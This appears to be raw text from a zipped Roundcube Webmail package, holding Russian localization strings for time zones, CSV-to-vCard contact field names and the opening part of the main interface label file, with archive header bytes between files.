$labels['tz:asia:pyongyang'] = 'Пхеньян';
$labels['tz:asia:qatar'] = 'Катар';
$labels['tz:asia:qyzylorda'] = 'Кызылорда';
$labels['tz:asia:riyadh'] = 'Эр-Рияд';
$labels['tz:asia:sakhalin'] = 'Сахалин';
$labels['tz:asia:samarkand'] = 'Самарканд';
$labels['tz:asia:seoul'] = 'Сеул';
$labels['tz:asia:shanghai'] = 'Шанхай';
$labels['tz:asia:singapore'] = 'Сингапур';
$labels['tz:asia:srednekolymsk'] = 'Среднеколымск';
$labels['tz:asia:taipei'] = 'Тайбэй';
$labels['tz:asia:tashkent'] = 'Ташкент';
$labels['tz:asia:tbilisi'] = 'Тбилиси';
$labels['tz:asia:tehran'] = 'Тегеран';
$labels['tz:asia:thimphu'] = 'Тхимпху';
$labels['tz:asia:tokyo'] = 'Токио';
$labels['tz:asia:tomsk'] = 'Томск';
$labels['tz:asia:ulaanbaatar'] = 'Улан-Батор';
$labels['tz:asia:urumqi'] = 'Урумчи';
$labels['tz:asia:ust-nera'] = 'Усть-Нера';
$labels['tz:asia:vientiane'] = 'Вьентьян';
$labels['tz:asia:vladivostok'] = 'Владивосток';
$labels['tz:asia:yakutsk'] = 'Якутск';
$labels['tz:asia:yangon'] = 'Янгон';
$labels['tz:asia:yekaterinburg'] = 'Екатеринбург';
$labels['tz:asia:yerevan'] = 'Ереван';
$labels['tz:atlantic'] = 'Атлантическое время';
$labels['tz:atlantic:azores'] = 'Азорские острова';
$labels['tz:atlantic:bermuda'] = 'Бермудские острова';
$labels['tz:atlantic:canary'] = 'Канарские острова';
$labels['tz:atlantic:cape_verde'] = 'Кабо-Верде';
$labels['tz:atlantic:faroe'] = 'Фареры';
$labels['tz:atlantic:madeira'] = 'Мадейра';
$labels['tz:atlantic:reykjavik'] = 'Рейкьявик';
$labels['tz:atlantic:south_georgia'] = 'Южная Георгия';
$labels['tz:atlantic:st_helena'] = 'Остров Святой Елены';
$labels['tz:atlantic:stanley'] = 'Стэнли';
$labels['tz:australia'] = 'Австралия';
$labels['tz:australia:adelaide'] = 'Аделаида';
$labels['tz:australia:brisbane'] = 'Брисбен';
$labels['tz:australia:broken_hill'] = 'Брокен-Хилл';
$labels['tz:australia:currie'] = 'Карри';
$labels['tz:australia:darwin'] = 'Дарвин';
$labels['tz:australia:eucla'] = 'Эукла';
$labels['tz:australia:hobart'] = 'Хобарт';
$labels['tz:australia:lindeman'] = 'Линдеман';
$labels['tz:australia:lord_howe'] = 'Лорд-Хау';
$labels['tz:australia:melbourne'] = 'Мельбурн';
$labels['tz:australia:perth'] = 'Перт';
$labels['tz:australia:sydney'] = 'Сидней';
$labels['tz:europe'] = 'Европа';
$labels['tz:europe:amsterdam'] = 'Амстердам';
$labels['tz:europe:andorra'] = 'Андорра';
$labels['tz:europe:astrakhan'] = 'Астрахань';
$labels['tz:europe:athens'] = 'Афины';
$labels['tz:europe:belgrade'] = 'Белград';
$labels['tz:europe:berlin'] = 'Берлин';
$labels['tz:europe:bratislava'] = 'Братислава';
$labels['tz:europe:brussels'] = 'Брюссель';
$labels['tz:europe:bucharest'] = 'Бухарест';
$labels['tz:europe:budapest'] = 'Будапешт';
$labels['tz:europe:busingen'] = 'Бюзинген';
$labels['tz:europe:chisinau'] = 'Кишинёв';
$labels['tz:europe:copenhagen'] = 'Копенгаген';
$labels['tz:europe:dublin'] = 'Дублин';
$labels['tz:europe:gibraltar'] = 'Гибралтар';
$labels['tz:europe:guernsey'] = 'Гернси';
$labels['tz:europe:helsinki'] = 'Хельсинки';
$labels['tz:europe:isle_of_man'] = 'Остров Мэн';
$labels['tz:europe:istanbul'] = 'Стамбул';
$labels['tz:europe:jersey'] = 'Джерси';
$labels['tz:europe:kaliningrad'] = 'Калининград';
$labels['tz:europe:kiev'] = 'Киев';
$labels['tz:europe:kirov'] = 'Киров';
$labels['tz:europe:lisbon'] = 'Лиссабон';
$labels['tz:europe:ljubljana'] = 'Любляна';
$labels['tz:europe:london'] = 'Лондон';
$labels['tz:europe:luxembourg'] = 'Люксембург';
$labels['tz:europe:madrid'] = 'Мадрид';
$labels['tz:europe:malta'] = 'Мальта';
$labels['tz:europe:mariehamn'] = 'Мариехамн';
$labels['tz:europe:minsk'] = 'Минск';
$labels['tz:europe:monaco'] = 'Монако';
$labels['tz:europe:moscow'] = 'Москва';
$labels['tz:europe:oslo'] = 'Осло';
$labels['tz:europe:paris'] = 'Париж';
$labels['tz:europe:podgorica'] = 'Подгорица';
$labels['tz:europe:prague'] = 'Прага';
$labels['tz:europe:riga'] = 'Рига';
$labels['tz:europe:rome'] = 'Рим';
$labels['tz:europe:samara'] = 'Самара';
$labels['tz:europe:san_marino'] = 'Сан-Марино';
$labels['tz:europe:sarajevo'] = 'Сараево';
$labels['tz:europe:saratov'] = 'Саратов';
$labels['tz:europe:simferopol'] = 'Симферополь';
$labels['tz:europe:skopje'] = 'Скопье';
$labels['tz:europe:sofia'] = 'София';
$labels['tz:europe:stockholm'] = 'Стокгольм';
$labels['tz:europe:tallinn'] = 'Таллин';
$labels['tz:europe:tirane'] = 'Тирана';
$labels['tz:europe:ulyanovsk'] = 'Ульяновск';
$labels['tz:europe:uzhgorod'] = 'Ужгород';
$labels['tz:europe:vaduz'] = 'Вадуц';
$labels['tz:europe:vatican'] = 'Ватикан';
$labels['tz:europe:vienna'] = 'Вена';
$labels['tz:europe:vilnius'] = 'Вильнюс';
$labels['tz:europe:volgograd'] = 'Волгоград';
$labels['tz:europe:warsaw'] = 'Варшава';
$labels['tz:europe:zagreb'] = 'Загреб';
$labels['tz:europe:zaporozhye'] = 'Запорожье';
$labels['tz:europe:zurich'] = 'Цюрих';
$labels['tz:indian'] = 'Восточноафриканское время';
$labels['tz:indian:antananarivo'] = 'Антананариву';
$labels['tz:indian:chagos'] = 'Чагос';
$labels['tz:indian:christmas'] = 'Остров Рождества';
$labels['tz:indian:cocos'] = 'Остров Кокос';
$labels['tz:indian:comoro'] = 'Коморы';
$labels['tz:indian:kerguelen'] = 'Кергелен';
$labels['tz:indian:mahe'] = 'Маэ';
$labels['tz:indian:maldives'] = 'Мальдивские острова';
$labels['tz:indian:mauritius'] = 'Маврикий';
$labels['tz:indian:mayotte'] = 'Майотта';
$labels['tz:indian:reunion'] = 'Реюньон';
$labels['tz:pacific'] = 'Североамериканское тихоокеанское время';
$labels['tz:pacific:apia'] = 'Апиа';
$labels['tz:pacific:auckland'] = 'Окленд';
$labels['tz:pacific:bougainville'] = 'Бугенвиль';
$labels['tz:pacific:chatham'] = 'Чатем';
$labels['tz:pacific:chuuk'] = 'Чуук';
$labels['tz:pacific:easter'] = 'Остров Пасхи';
$labels['tz:pacific:efate'] = 'Эфате';
$labels['tz:pacific:enderbury'] = 'Эндербери';
$labels['tz:pacific:fakaofo'] = 'Факаофо';
$labels['tz:pacific:fiji'] = 'Фиджи';
$labels['tz:pacific:funafuti'] = 'Фунафути';
$labels['tz:pacific:galapagos'] = 'Галапагос';
$labels['tz:pacific:gambier'] = 'Гамбье';
$labels['tz:pacific:guadalcanal'] = 'Гуадалканал';
$labels['tz:pacific:guam'] = 'Гуам';
$labels['tz:pacific:honolulu'] = 'Гонолулу';
$labels['tz:pacific:johnston'] = 'Джонстон';
$labels['tz:pacific:kiritimati'] = 'Киритимати';
$labels['tz:pacific:kosrae'] = 'Кусаие';
$labels['tz:pacific:kwajalein'] = 'Кваджалейн';
$labels['tz:pacific:majuro'] = 'Маджуро';
$labels['tz:pacific:marquesas'] = 'Маркизские острова';
$labels['tz:pacific:midway'] = 'Мидуэй';
$labels['tz:pacific:nauru'] = 'Науру';
$labels['tz:pacific:niue'] = 'Ниуэ';
$labels['tz:pacific:norfolk'] = 'Норфолк';
$labels['tz:pacific:noumea'] = 'Нумеа';
$labels['tz:pacific:pago_pago'] = 'Паго-Паго';
$labels['tz:pacific:palau'] = 'Палау';
$labels['tz:pacific:pitcairn'] = 'Питкэрн';
$labels['tz:pacific:pohnpei'] = 'Понпеи';
$labels['tz:pacific:port_moresby'] = 'Порт-Морсби';
$labels['tz:pacific:rarotonga'] = 'Раротонга';
$labels['tz:pacific:saipan'] = 'Сайпан';
$labels['tz:pacific:tahiti'] = 'Таити';
$labels['tz:pacific:tarawa'] = 'Тарава';
$labels['tz:pacific:tongatapu'] = 'Тонгатапу';
$labels['tz:pacific:wake'] = 'Уэйк';
$labels['tz:pacific:wallis'] = 'Уоллис и Футуна';
PK
h�\�w��X	X	(program/localization/ru_RU/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | localization/ru_RU/csv2vcard.inc                                      |
 |                                                                       |
 | Language file of the Roundcube Webmail client                         |
 | Copyright (C) 2005-2014, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/
$map['birth_day'] = "День рождения";
$map['birth_month'] = "Месяц рождения";
$map['birth_year'] = "Год рождения";
$map['display_name'] = "Отображаемое имя";
$map['fax_number'] = "Номер факса";
$map['home_address'] = "Адрес";
$map['home_city_short'] = "Город";
$map['home_state_short'] = "Штат";
$map['home_country'] = "Страна";
$map['home_zipcode'] = "Почтовый индекс";
$map['mobile_number'] = "Номер сотового телефона";
$map['nickname'] = "Псевдоним";
$map['organization'] = "Организация";
$map['pager_number'] = "Номер пейджера";
$map['primary_email'] = "Адрес электронной почты";
$map['secondary_email'] = "Альтернативный адрес электронной почты";
$map['web_page_1'] = "Веб-страница 1";
$map['web_page_2'] = "Веб-страница 2";
$map['web_page'] = "Веб-страница";
$map['notes'] = "Заметки";
$map['work_phone'] = "Рабочий телефон";
$map['work_address'] = "Адрес (раб.)";
$map['work_country'] = "Страна (раб.)";
$map['work_zipcode'] = "Почтовый индекс (раб.)";
$map['last'] = "Фамилия";
$map['first'] = "Имя";
$map['work_city'] = "Город (раб.)";
$map['work_state_short'] = "Штат (раб.)";
PK
h�\�M�����%program/localization/ru_RU/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Добро пожаловать в $product!';
$labels['username'] = 'Имя пользователя';
$labels['password'] = 'Пароль';
$labels['server'] = 'Сервер';
$labels['login'] = 'Войти';
$labels['oauthlogin'] = 'Войти используя $provider';
$labels['menu'] = 'Меню';
$labels['logout'] = 'Выход';
$labels['mail'] = 'Почта';
$labels['settings'] = 'Настройки';
$labels['addressbook'] = 'Контакты';
$labels['darkmode'] = 'Темный режим';
$labels['lightmode'] = 'Светлый режим';
$labels['inbox'] = 'Входящие';
$labels['drafts'] = 'Черновики';
$labels['sent'] = 'Отправленные';
$labels['trash'] = 'Корзина';
$labels['junk'] = 'СПАМ';
$labels['show_real_foldernames'] = 'Показывать настоящие названия специальных папок';
$labels['subject'] = 'Тема';
$labels['from'] = 'От';
$labels['sender'] = 'Отправитель';
$labels['to'] = 'Кому';
$labels['cc'] = 'Копия';
$labels['bcc'] = 'Скрытая';
$labels['replyto'] = 'Ответить';
$labels['followupto'] = 'Followup-To';
$labels['date'] = 'Дата';
$labels['size'] = 'Размер';
$labels['priority'] = 'Приоритет';
$labels['organization'] = 'Организация';
$labels['readstatus'] = 'Статус прочтения';
$labels['listoptions'] = 'Настройки списка...';
$labels['listoptionstitle'] = 'Настройки списка';
$labels['mailboxlist'] = 'Папки';
$labels['messagesfromto'] = 'Сообщения с $from по $to из $count';
$labels['threadsfromto'] = 'Обсуждения с $from по $to из $count';
$labels['messagenrof'] = 'Сообщение $nr из $count';
$labels['fromtoshort'] = '$from – $to из $count';
$labels['copy'] = 'Копировать';
$labels['move'] = 'Переместить';
$labels['moveto'] = 'Переместить в...';
$labels['copyto'] = 'Копировать в...';
$labels['download'] = 'Загрузить';
$labels['open'] = 'Открыть';
$labels['showattachment'] = 'Показать';
$labels['showanyway'] = 'Все равно показать';
$labels['filename'] = 'Имя файла';
$labels['filesize'] = 'Размер файла';
$labels['addtoaddressbook'] = 'Добавить в контакты';
$labels['sun'] = 'Вс';
$labels['mon'] = 'Пн';
$labels['tue'] = 'Вт';
$labels['wed'] = 'Ср';
$labels['thu'] = 'Чт';
$labels['fri'] = 'Пт';
$labels['sat'] = 'Сб';
$labels['sunday'] = 'Воскресенье';
$labels['monday'] = 'Понедельник';
$labels['tuesday'] = 'Вторник';
$labels['wednesday'] = 'Среда';
$labels['thursday'] = 'Четверг';
$labels['friday'] = 'Пятница';
$labels['saturday'] = 'Суббота';
$labels['jan'] = 'Янв';
$labels['feb'] = 'Фев';
$labels['mar'] = 'Мар';
$labels['apr'] = 'Апр';
$labels['may'] = 'Май';
$labels['jun'] = 'Июн';
$labels['jul'] = 'Июл';
$labels['aug'] = 'Авг';
$labels['sep'] = 'Сен';
$labels['oct'] = 'Окт';
$labels['nov'] = 'Ноя';
$labels['dec'] = 'Дек';
$labels['longjan'] = 'Январь';
$labels['longfeb'] = 'Февраль';
$labels['longmar'] = 'Март';
$labels['longapr'] = 'Апрель';
$labels['longmay'] = 'Май';
$labels['longjun'] = 'Июнь';
$labels['longjul'] = 'Июль';
$labels['longaug'] = 'Август';
$labels['longsep'] = 'Сентябрь';
$labels['longoct'] = 'Октябрь';
$labels['longnov'] = 'Ноябрь';
$labels['longdec'] = 'Декабрь';
$labels['today'] = 'Сегодня';
$labels['refresh'] = 'Обновить';
$labels['checkmail'] = 'Доставить почту';
$labels['compose'] = 'Написать сообщение';
$labels['writenewmessage'] = 'Новое сообщение';
$labels['reply'] = 'Ответить';
$labels['replytomessage'] = 'Ответить';
$labels['replytoallmessage'] = 'Ответить по списку или отправителю и всем получателям';
$labels['replyall'] = 'Ответить всем';
$labels['replylist'] = 'Ответить в список рассылки';
$labels['forward'] = 'Переслать';
$labels['forwardinline'] = 'Переслать в теле письма';
$labels['forwardattachment'] = 'Переслать как вложение';
$labels['forwardmessage'] = 'Переслать';
$labels['bouncemsg'] = 'Повторить отправку (недоставлено)';
$labels['bounce'] = 'Отправить повторно';
$labels['deletemessage'] = 'В корзину';
$labels['movemessagetotrash'] = 'Переместить сообщение в корзину';
$labels['printmessage'] = 'Печать';
$labels['previousmessage'] = 'Показать предыдущее сообщение';
$labels['firstmessage'] = 'Показать первое сообщение';
$labels['nextmessage'] = 'Показать следующее сообщение';
$labels['lastmessage'] = 'Показать последнее сообщение';
$labels['backtolist'] = 'К списку сообщений';
$labels['viewsource'] = 'Исходный текст';
$labels['mark'] = 'Пометить';
$labels['markmessages'] = 'Пометить сообщения';
$labels['markread'] = 'Как прочитанное';
$labels['markunread'] = 'Как непрочитанное';
$labels['markflagged'] = 'Установить флаг';
$labels['markunflagged'] = 'Снять флаг';
$labels['markundeleted'] = 'Как не удаленное';
$labels['moreactions'] = 'Дополнительные действия...';
$labels['markallread'] = 'Отметить все как прочтённые';
$labels['folders-cur'] = 'Только выбранная папка';
$labels['folders-sub'] = 'Выбранная папка и её подпапки';
$labels['folders-all'] = 'Все папки';
$labels['more'] = 'Еще';
$labels['back'] = 'Назад';
$labels['options'] = 'Параметры';
$labels['composeoptions'] = 'Параметры создания';
$labels['optionsandattachments'] = 'Параметры и вложения';
$labels['actions'] = 'Действия';
$labels['first'] = 'Первое';
$labels['last'] = 'Последнее';
$labels['previous'] = 'Предыдущее';
$labels['next'] = 'Следующее';
$labels['select'] = 'Выбрать';
$labels['selection'] = 'Выбор';
$labels['all'] = 'Все';
$labels['none'] = 'Отсутствует';
$labels['currpage'] = 'Текущая страница';
$labels['isread'] = 'Прочтенные';
$labels['unread'] = 'Непрочитанные';
$labels['flagged'] = 'Помеченные';
$labels['unflagged'] = 'Не помеченные';
$labels['unanswered'] = 'Неотвеченные';
$labels['withattachment'] = 'С вложением';
$labels['deleted'] = 'Удаленные';
$labels['undeleted'] = 'Не удаленные';
$labels['replied'] = 'Отвечено';
$labels['forwarded'] = 'Пересланные';
$labels['invert'] = 'Инвертировать';
$labels['filter'] = 'Фильтр';
$labels['list'] = 'Список';
$labels['threads'] = 'Обсуждения';
$labels['expand-all'] = 'Развернуть все';
$labels['expand-unread'] = 'Развернуть непрочитанные';
$labels['collapse-all'] = 'Свернуть все';
$labels['threaded'] = 'Обсуждения';
$labels['showunread'] = 'Показать непрочитанные сообщения';
$labels['autoexpand_threads'] = 'Развернуть обсуждения';
$labels['do_expand'] = 'все обсуждения';
$labels['expand_only_unread'] = 'только с непрочитанными сообщениями';
$labels['fromto'] = 'Отправитель/Получатель';
$labels['flag'] = 'Флаг';
$labels['attachment'] = 'Вложение';
$labels['nonesort'] = 'Отсутствует';
$labels['sentdate'] = 'Дата отправки';
$labels['arrival'] = 'Дата получения';
$labels['asc'] = 'по возрастанию';
$labels['desc'] = 'по убыванию';
$labels['listcolumns'] = 'Колонки';
$labels['listsorting'] = 'Сортировать по';
$labels['listorder'] = 'Порядок сортировки';
$labels['listmode'] = 'Режим просмотра';
$labels['lmode'] = 'В виде списка';
$labels['layout'] = 'Размещение';
$labels['layoutwidescreen'] = 'Широкоэкранное';
$labels['layoutdesktop'] = 'Рабочий стол';
$labels['layoutlist'] = 'Список';
$labels['layoutwidescreendesc'] = 'Широкоэкранный (три колонки)';
$labels['layoutdesktopdesc'] = 'Настольный (список сообщений и окно предпросмотра под ним)';
$labels['layoutlistdesc'] = 'Список (без предпросмотра писем)';
$labels['folderactions'] = 'Операции над папкой...';
$labels['compact'] = 'Сжать';
$labels['empty'] = 'Опустошить';
$labels['importmessages'] = 'Импорт сообщений';
$labels['mailimportdesc'] = 'Вы можете загрузить почту используя файлы в формате <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> или <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Несколько файлов могут быть сжаты в zip-архивы.';
$labels['quota'] = 'Квота';
$labels['unknown'] = 'неизвестно';
$labels['unlimited'] = 'без ограничений';
$labels['quotatype'] = 'Тип квоты';
$labels['quotatotal'] = 'Лимит';
$labels['quotaused'] = 'Использовано';
$labels['quotastorage'] = 'Дисковое пространство';
$labels['quotamessage'] = 'Количество сообщений';
$labels['shortheaderdate'] = 'За $date';
$labels['shortheaderto'] = '$to за $date';
$labels['shortheaderfrom'] = 'От $from за $date';
$labels['quicksearch'] = 'Быстрый поиск';
$labels['searchplaceholder'] = 'Поиск...';
$labels['resetsearch'] = 'Сброс';
$labels['searchmod'] = 'Варианты поиска';
$labels['msgtext'] = 'Всё сообщение';
$labels['body'] = 'Тело письма';
$labels['type'] = 'Тип';
$labels['namex'] = 'Имя';
$labels['searchscope'] = 'Область';
$labels['currentfolder'] = 'Текущая папка';
$labels['subfolders'] = 'Эта и вложенные папки';
$labels['allfolders'] = 'Все папки';
$labels['searchinterval-1W'] = 'больше недели';
$labels['searchinterval-1M'] = 'больше месяца';
$labels['searchinterval-1Y'] = 'больше года';
$labels['searchinterval1W'] = 'меньше недели';
$labels['searchinterval1M'] = 'меньше месяца';
$labels['searchinterval1Y'] = 'меньше года';
$labels['openinextwin'] = 'Открыть в новом окне';
$labels['emlsave'] = 'Сохранить (.eml)';
$labels['changeformattext'] = 'Показать в формате обычного текста';
$labels['changeformathtml'] = 'Показать в HTML формате';
$labels['editasnew'] = 'Редактировать как новое';
$labels['send'] = 'Отправить';
$labels['sendmessage'] = 'Отправить сейчас';
$labels['savemessage'] = 'Сохранить черновик';
$labels['addattachment'] = 'Добавить вложение';
$labels['charset'] = 'Кодировка';
$labels['editortype'] = 'Редактор';
$labels['returnreceipt'] = 'Запрос ответа';
$labels['dsn'] = 'Уведомление о состоянии доставки';
$labels['keepformatting'] = 'Сохранить форматирование';
$labels['mailreplyintro'] = '$sender писал(а) $date:';
$labels['originalmessage'] = 'Исходное сообщение';
$labels['selectimage'] = 'Выбрать изображение';
$labels['addimage'] = 'Добавить изображение';
$labels['selectmedia'] = 'Выбрать видео';
$labels['addmedia'] = 'Добавить видео';
$labels['encrypt'] = 'Зашифровать';
$labels['encryptmessage'] = 'Зашифровать сообщение';
$labels['encryptmessagemailvelope'] = 'Зашифровать сообщение с  помощью Mailvelope';
$labels['importpubkeys'] = 'Импортировать открытые ключи';
$labels['encryptedsendialog'] = 'Отправка зашифрованного сообщения';
$labels['encryptandsign'] = 'Зашифровать и подписать';
$labels['keyid'] = 'ID ключа';
$labels['keylength'] = 'Бит';
$labels['keyexpired'] = 'С истёкщим сроком';
$labels['keyrevoked'] = 'Отозван';
$labels['bccinstead'] = 'Использовать BCC';
$labels['addheader'] = 'Добавить получателя (заголовок)';
$labels['insert'] = 'Вставить';
$labels['insertcontact'] = 'Вставить контакт(ы)';
$labels['recipient'] = 'Получатель';
$labels['recipientedit'] = 'Изменить получателя';
$labels['editidents'] = 'Изменить данные';
$labels['spellcheck'] = 'Орфография';
$labels['checkspelling'] = 'Проверить орфографию';
$labels['resumeediting'] = 'Продолжить редактирование';
$labels['revertto'] = 'Отменить правки';
$labels['restore'] = 'Восстановить';
$labels['restoremessage'] = 'Восстановить сообщение?';
$labels['ignore'] = 'Пропустить';
$labels['responses'] = 'Ответы';
$labels['insertresponse'] = 'Вставить ответ';
$labels['manageresponses'] = 'Управление ответами';
$labels['newresponse'] = 'Создать новый ответ';
$labels['addresponse'] = 'Добавить ответ';
$labels['editresponse'] = 'Редактировать ответ';
$labels['editresponses'] = 'Редактировать ответы';
$labels['responsename'] = 'Название';
$labels['responsetext'] = 'Текста ответа';
$labels['attach'] = 'Вложить';
$labels['attachments'] = 'Вложения';
$labels['upload'] = 'Загрузить';
$labels['uploadprogress'] = '$percent ($current из $total)';
$labels['close'] = 'Закрыть';
$labels['messageoptions'] = 'Настройки сообщений...';
$labels['togglecomposeoptions'] = 'Параметры создания';
$labels['attachmentrename'] = 'Переименовать вложения';
$labels['low'] = 'Низкий';
$labels['lowest'] = 'Низший';
$labels['normal'] = 'Норм.';
$labels['high'] = 'Высокий';
$labels['highest'] = 'Высоч.';
$labels['nosubject'] = '(без темы)';
$labels['showimages'] = 'Показать изображения';
$labels['allow'] = 'Разрешить';
$labels['alwaysshow'] = 'Всегда показывать изображенияв письмах от $sender';
$labels['alwaysallow'] = 'Всегда разрешать от $sender';
$labels['isdraft'] = 'Это черновик.';
$labels['andnmore'] = 'ещё $nr...';
$labels['details'] = 'Подробности';
$labels['summary'] = 'Итог';
$labels['headers'] = 'Заголовки';
$labels['allheaders'] = 'Все заголовки...';
$labels['togglemoreheaders'] = 'Загрузить ещё заголовки сообщений';
$labels['togglefullheaders'] = 'Показать оригинальные заголовки сообщения';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Текст';
$labels['savesentmessagein'] = 'Сохранить в';
$labels['dontsave'] = 'не сохранять';
$labels['maxuploadsize'] = 'Максимальный размер файла $size';
$labels['addcc'] = 'Копия';
$labels['addbcc'] = 'Скрытая копия';
$labels['addreplyto'] = 'Кому ответить';
$labels['addfollowupto'] = 'Добавить Followup-To';
$labels['sendreceipt'] = 'Отправить уведомление о прочтении?';
$labels['mdnrequest'] = 'Отправитель этого сообщения запросил уведомление о прочтении. Отправить уведомление?';
$labels['receiptread'] = 'Уведомление о прочтении';
$labels['yourmessage'] = 'Это уведомление о прочтении вашего сообщения';
$labels['receiptnote'] = 'Это уведомление означает только, что сообщение было открыто получателем, и не гарантирует того, что оно было прочитано и (или) понято.';
$labels['sendalwaysto'] = 'Всегда отправлять на $email';
$labels['zoomin'] = 'Увеличить';
$labels['zoomout'] = 'Уменьшить';
$labels['rotate'] = 'Вращать';
$labels['increaseimage'] = 'Увеличить изображение';
$labels['decreaseimage'] = 'Уменьшить изображение';
$labels['rotateimage'] = 'Повернуть изображение';
$labels['showtools'] = 'Показать инструменты';
$labels['hidetools'] = 'Скрыть инструменты';
$labels['name'] = 'Отображаемое имя';
$labels['firstname'] = 'Имя';
$labels['surname'] = 'Фамилия';
$labels['middlename'] = 'Отчество';
$labels['nameprefix'] = 'Префикс';
$labels['namesuffix'] = 'Суффикс';
$labels['nickname'] = 'Прозвище';
$labels['jobtitle'] = 'Должность';
$labels['department'] = 'Отдел';
$labels['gender'] = 'Пол';
$labels['maidenname'] = 'Девичья фамилия';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Телефон';
$labels['address'] = 'Адрес';
$labels['street'] = 'Улица';
$labels['locality'] = 'Город';
$labels['zipcode'] = 'Индекс';
$labels['region'] = 'Область';
$labels['country'] = 'Страна';
$labels['birthday'] = 'День рождения';
$labels['anniversary'] = 'Годовщина';
$labels['website'] = 'Веб-сайт';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Заметки';
$labels['male'] = 'мужской';
$labels['female'] = 'женский';
$labels['manager'] = 'Менеджер';
$labels['assistant'] = 'Помощник';
$labels['spouse'] = 'Супруг';
$labels['allfields'] = 'Все поля';
$labels['search'] = 'Поиск';
$labels['searchresult'] = 'Результаты поиска';
$labels['advsearch'] = 'Расширенный поиск';
$labels['advanced'] = 'Дополнительно';
$labels['other'] = 'Другое';
$labels['printcontact'] = 'Печатать контакт';
$labels['qrcode'] = 'QR код';
$labels['typehome'] = 'Дом';
$labels['typework'] = 'Работа';
$labels['typeother'] = 'Другое';
$labels['typemobile'] = 'Мобильный';
$labels['typemain'] = 'Основной';
$labels['typehomefax'] = 'Домашний факс';
$labels['typeworkfax'] = 'Рабочий факс';
$labels['typecar'] = 'Автомобиль';
$labels['typepager'] = 'Пэйджер';
$labels['typevideo'] = 'Видео';
$labels['typeassistant'] = 'Помощник';
$labels['typehomepage'] = 'Домашняя страница';
$labels['typeblog'] = 'Блог';
$labels['typeprofile'] = 'Профиль';
$labels['addfield'] = 'Добавить поле...';
$labels['addcontact'] = 'Добавить контакт';
$labels['editcontact'] = 'Редактировать контакт';
$labels['contacts'] = 'Контакты';
$labels['contactproperties'] = 'Свойства контакта';
$labels['contactnameandorg'] = 'Имя и организация';
$labels['personalinfo'] = 'Личная информация';
$labels['personal'] = 'Персональные';
$labels['contactphoto'] = 'Фото контакта';
$labels['edit'] = 'Правка';
$labels['cancel'] = 'Отмена';
$labels['save'] = 'Сохранить';
$labels['delete'] = 'Удалить';
$labels['discard'] = 'Удалить';
$labels['continue'] = 'Продолжить';
$labels['ok'] = 'ОК';
$labels['rename'] = 'Переименовать';
$labels['addphoto'] = 'Добавить';
$labels['replacephoto'] = 'Заменить';
$labels['uploadphoto'] = 'Загрузить фотографию';
$labels['choosefile'] = 'Выберите файл...';
$labels['choosefiles'] = 'Выберите файлы...';
$labels['browse'] = 'Обзор';
$labels['newcontact'] = 'Создать новый контакт';
$labels['deletecontact'] = 'Удалить выбранные контакты';
$labels['composeto'] = 'Создать сообщение для выбранных контактов';
$labels['contactsfromto'] = 'Контакты с $from по $to из $count';
$labels['print'] = 'Печать';
$labels['export'] = 'Экспорт';
$labels['exportall'] = 'Экспортировать все';
$labels['exportsel'] = 'Экспортировать выделенные';
$labels['exportvcards'] = 'Экспортировать контакты в формате vCard';
$labels['newgroup'] = 'Создать новую группу';
$labels['addgroup'] = 'Добавить группу';
$labels['grouprename'] = 'Переименовать группу';
$labels['groupdelete'] = 'Удалить группу';
$labels['groupassign'] = 'Добавить в группу...';
$labels['groupremove'] = 'Удалить из группы';
$labels['groupremoveselected'] = 'Удалить выбранные контакты из группы';
$labels['uponelevel'] = 'Вверх на уровень';
$labels['previouspage'] = 'Показать предыдущую страницу';
$labels['firstpage'] = 'Показать первую страницу';
$labels['nextpage'] = 'Показать следующую страницу';
$labels['lastpage'] = 'Показать последнюю страницу';
$labels['group'] = 'Группа';
$labels['groups'] = 'Группы';
$labels['listgroup'] = 'Список членов группы';
$labels['personaladrbook'] = 'Персональные адреса';
$labels['searchsave'] = 'Сохранить запрос';
$labels['searchdelete'] = 'Удалить запрос';
$labels['import'] = 'Импортировать';
$labels['importcontacts'] = 'Импортировать контакты';
$labels['importfromfile'] = 'Импортировать из файла';
$labels['importtarget'] = 'Добавить контакты в';
$labels['importreplace'] = 'Заменить всю адресную книгу';
$labels['importgroups'] = 'Распределение по группам при импорте.';
$labels['importgroupsall'] = 'Все (создать группы при необходимости)';
$labels['importgroupsexisting'] = 'Только для существующих групп';
$labels['importdesc'] = 'Вы можете загрузить контакты из существующей адресной книги. <br/>В настоящее время мы поддерживаем импорт адресов в формате визитной карточки <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> или CSV (данные разделённые запятой).';
$labels['importmapdesc'] = 'Перед тем, как продолжить импорт данных CSV (разделенных запятыми), убедитесь, что приведенная ниже информация о сопоставлении полей верна.';
$labels['fieldnotmapped'] = 'Поле не сопоставлено (не импортировать)';
$labels['skipheader'] = 'Не импортировать первую строку (заголовки)';
$labels['done'] = 'Завершено';
$labels['settingsfor'] = 'Настройки для';
$labels['about'] = 'О программе';
$labels['preferences'] = 'Настройки';
$labels['userpreferences'] = 'Настройки пользователя';
$labels['editpreferences'] = 'Редактировать настройки пользователя';
$labels['identities'] = 'Профили';
$labels['manageidentities'] = 'Управление профилями';
$labels['newidentity'] = 'Создать новый профиль';
$labels['addidentity'] = 'Добавить профиль';
$labels['editidentity'] = 'Изменить профиль';
$labels['identityencryption'] = 'Шифрование';
$labels['preferhtml'] = 'Предпочитать HTML';
$labels['defaultcharset'] = 'Набор символов по-умолчанию';
